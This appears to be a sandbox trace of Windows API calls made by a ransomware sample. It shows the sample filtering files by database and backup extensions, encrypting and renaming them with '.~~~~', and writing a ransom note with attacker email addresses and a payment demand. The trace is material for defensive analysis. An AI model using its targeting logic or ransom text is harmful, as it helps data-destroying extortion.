	[0082.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".mdf") returned 0x0
	[0082.379] lstrlenW (lpString=".BAK") returned 4
	[0082.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".BAK") returned 0x0
	[0082.379] lstrlenW (lpString=".BAC") returned 4
	[0082.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".BAC") returned 0x0
	[0082.379] lstrlenW (lpString=".dbs") returned 4
	[0082.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".dbs") returned 0x0
	[0082.379] lstrlenW (lpString=".vhdx") returned 5
	[0082.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".vhdx") returned 0x0
	[0082.379] lstrlenW (lpString=".NDF") returned 4
	[0082.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".NDF") returned 0x0
	[0082.379] lstrlenW (lpString=".dat") returned 4
	[0082.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".dat") returned 0x0
	[0082.379] lstrlenW (lpString=".DBS") returned 4
	[0082.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".DBS") returned 0x0
	[0082.379] lstrlenW (lpString=".CKP") returned 4
	[0082.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".CKP") returned 0x0
	[0082.379] lstrlenW (lpString=".edb") returned 4
	[0082.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".edb") returned 0x0
	[0082.379] lstrlenW (lpString=".PST") returned 4
	[0082.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".PST") returned 0x0
	[0082.379] lstrlenW (lpString=".dbf") returned 4
	[0082.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".dbf") returned 0x0
	[0082.379] lstrlenW (lpString=".SQL") returned 4
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".SQL") returned 0x0
	[0082.380] lstrlenW (lpString=".pst") returned 4
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".pst") returned 0x0
	[0082.380] lstrlenW (lpString=".dbv") returned 4
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".dbv") returned 0x0
	[0082.380] lstrlenW (lpString=".SDF") returned 4
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".SDF") returned 0x0
	[0082.380] lstrlenW (lpString=".dtxs") returned 5
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".dtxs") returned 0x0
	[0082.380] lstrlenW (lpString=".db3") returned 4
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".db3") returned 0x0
	[0082.380] lstrlenW (lpString=".OST") returned 4
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".OST") returned 0x0
	[0082.380] lstrlenW (lpString=".dbx") returned 4
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".dbx") returned 0x0
	[0082.380] lstrlenW (lpString=".DB3") returned 4
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".DB3") returned 0x0
	[0082.380] lstrlenW (lpString=".DAT") returned 4
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".DAT") returned 0x0
	[0082.380] lstrlenW (lpString=".VHDX") returned 5
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".VHDX") returned 0x0
	[0082.380] lstrlenW (lpString=".ndf") returned 4
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".ndf") returned 0x0
	[0082.380] lstrlenW (lpString=".DB") returned 3
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".DB") returned 0x0
	[0082.380] lstrlenW (lpString=".sql") returned 4
	[0082.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".sql") returned 0x0
	[0082.380] lstrlenW (lpString=".MYD") returned 4
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".MYD") returned 0x0
	[0082.381] lstrlenW (lpString=".DBT") returned 4
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".DBT") returned 0x0
	[0082.381] lstrlenW (lpString=".ACCDB") returned 6
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".ACCDB") returned 0x0
	[0082.381] lstrlenW (lpString=".fdb") returned 4
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".fdb") returned 0x0
	[0082.381] lstrlenW (lpString=".bak") returned 4
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".bak") returned 0x0
	[0082.381] lstrlenW (lpString=".myd") returned 4
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".myd") returned 0x0
	[0082.381] lstrlenW (lpString=".DTXS") returned 5
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".DTXS") returned 0x0
	[0082.381] lstrlenW (lpString=".ckp") returned 4
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".ckp") returned 0x0
	[0082.381] lstrlenW (lpString=".dbt") returned 4
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".dbt") returned 0x0
	[0082.381] lstrlenW (lpString=".db") returned 3
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".db") returned 0x0
	[0082.381] lstrlenW (lpString=".TXT") returned 4
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".TXT") returned 0x0
	[0082.381] lstrlenW (lpString=".MDF") returned 4
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".MDF") returned 0x0
	[0082.381] lstrlenW (lpString=".bdb") returned 4
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".bdb") returned 0x0
	[0082.381] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0082.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.382] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0082.383] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.383] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0082.383] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20237292176) returned 1
	[0082.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9af278f0, dwHighDateTime=0x1d60e1e)) 
	[0082.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3530
	[0082.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3530 | out: hHeap=0x300000) returned 1
	[0082.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e490
	[0082.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e490 | out: hHeap=0x300000) returned 1
	[0082.383] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0082.384] GetLastError () returned 0x0
	[0082.384] GetLastError () returned 0x0
	[0082.384] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0082.384] GetLastError () returned 0x0
	[0082.384] GetLastError () returned 0x0
	[0082.384] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.387] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.387] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.389] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.389] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.389] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.389] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.389] CloseHandle (hObject=0x134) returned 1
	[0082.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39bd98
	[0082.390] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.~~~~")) returned 1
	[0082.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39bd98 | out: hHeap=0x300000) returned 1
	[0082.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0082.391] GetLastError () returned 0x0
	[0082.391] RtlWakeConditionVariable () returned 0x365f70
	[0082.391] GetCurrentThreadId () returned 0x9f4
	[0082.391] GetCurrentThreadId () returned 0x9f4
	[0082.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7ed0 | out: hHeap=0x300000) returned 1
	[0082.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a34f8 | out: hHeap=0x300000) returned 1
	[0082.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7ed0
	[0082.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0082.392] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0082.392] WriteFile (in: hFile=0x134, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0082.481] CloseHandle (hObject=0x134) returned 1
	[0082.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7ed0 | out: hHeap=0x300000) returned 1
	[0082.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0082.481] RtlWakeConditionVariable () returned 0x365f70
	[0082.481] GetCurrentThreadId () returned 0x9f4
	[0082.481] GetCurrentThreadId () returned 0x9f4
	[0082.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0082.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4498 | out: hHeap=0x300000) returned 1
	[0082.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2550 | out: hHeap=0x300000) returned 1
	[0082.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4498
	[0082.481] lstrlenW (lpString=".scr") returned 4
	[0082.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".scr") returned 0x0
	[0082.481] lstrlenW (lpString=".cmd") returned 4
	[0082.481] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".cmd") returned 0x0
	[0082.482] lstrlenW (lpString=".dll") returned 4
	[0082.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".dll") returned 0x0
	[0082.482] lstrlenW (lpString=".bat") returned 4
	[0082.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".bat") returned 0x0
	[0082.482] lstrlenW (lpString=".cpl") returned 4
	[0082.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".cpl") returned 0x0
	[0082.482] lstrlenW (lpString=".sys") returned 4
	[0082.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".sys") returned 0x0
	[0082.482] lstrlenW (lpString=".msc") returned 4
	[0082.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".msc") returned 0x0
	[0082.482] lstrlenW (lpString=".com") returned 4
	[0082.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".com") returned 0x0
	[0082.482] lstrlenW (lpString=".lnk") returned 4
	[0082.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".lnk") returned 0x0
	[0082.482] lstrlenW (lpString=".msp") returned 4
	[0082.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".msp") returned 0x0
	[0082.482] lstrlenW (lpString=".pif") returned 4
	[0082.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".pif") returned 0x0
	[0082.482] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.482] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0082.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0082.555] lstrlenW (lpString=".sqb") returned 4
	[0082.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".sqb") returned 0x0
	[0082.555] lstrlenW (lpString=".ost") returned 4
	[0082.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".ost") returned 0x0
	[0082.555] lstrlenW (lpString=".txt") returned 4
	[0082.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".txt") returned 0x0
	[0082.555] lstrlenW (lpString=".mdt") returned 4
	[0082.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".mdt") returned 0x0
	[0082.555] lstrlenW (lpString=".BDB") returned 4
	[0082.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".BDB") returned 0x0
	[0082.555] lstrlenW (lpString=".eql") returned 4
	[0082.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".eql") returned 0x0
	[0082.555] lstrlenW (lpString=".DBF") returned 4
	[0082.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".DBF") returned 0x0
	[0082.555] lstrlenW (lpString=".EQL") returned 4
	[0082.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".EQL") returned 0x0
	[0082.555] lstrlenW (lpString=".FDB") returned 4
	[0082.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".FDB") returned 0x0
	[0082.555] lstrlenW (lpString=".EDB") returned 4
	[0082.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".EDB") returned 0x0
	[0082.555] lstrlenW (lpString=".DACPAC") returned 7
	[0082.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".DACPAC") returned 0x0
	[0082.555] lstrlenW (lpString=".VHD") returned 4
	[0082.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".VHD") returned 0x0
	[0082.556] lstrlenW (lpString=".DBV") returned 4
	[0082.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".DBV") returned 0x0
	[0082.556] lstrlenW (lpString=".dacpac") returned 7
	[0082.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".dacpac") returned 0x0
	[0082.556] lstrlenW (lpString=".sdf") returned 4
	[0082.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".sdf") returned 0x0
	[0082.556] lstrlenW (lpString=".accdb") returned 6
	[0082.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".accdb") returned 0x0
	[0082.556] lstrlenW (lpString=".DBX") returned 4
	[0082.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".DBX") returned 0x0
	[0082.556] lstrlenW (lpString=".MDT") returned 4
	[0082.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".MDT") returned 0x0
	[0082.556] lstrlenW (lpString=".SQB") returned 4
	[0082.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".SQB") returned 0x0
	[0082.556] lstrlenW (lpString=".vhd") returned 4
	[0082.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".vhd") returned 0x0
	[0082.556] lstrlenW (lpString=".bac") returned 4
	[0082.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".bac") returned 0x0
	[0082.556] lstrlenW (lpString=".mdf") returned 4
	[0082.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".mdf") returned 0x0
	[0082.556] lstrlenW (lpString=".BAK") returned 4
	[0082.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".BAK") returned 0x0
	[0082.556] lstrlenW (lpString=".BAC") returned 4
	[0082.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".BAC") returned 0x0
	[0082.556] lstrlenW (lpString=".dbs") returned 4
	[0082.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".dbs") returned 0x0
	[0082.557] lstrlenW (lpString=".vhdx") returned 5
	[0082.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".vhdx") returned 0x0
	[0082.557] lstrlenW (lpString=".NDF") returned 4
	[0082.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".NDF") returned 0x0
	[0082.557] lstrlenW (lpString=".dat") returned 4
	[0082.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".dat") returned 0x0
	[0082.557] lstrlenW (lpString=".DBS") returned 4
	[0082.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".DBS") returned 0x0
	[0082.557] lstrlenW (lpString=".CKP") returned 4
	[0082.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".CKP") returned 0x0
	[0082.557] lstrlenW (lpString=".edb") returned 4
	[0082.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", lpSrch=".edb") returned 0x0
	[0082.557] lstrlenW (lpString=".PST") returned 4
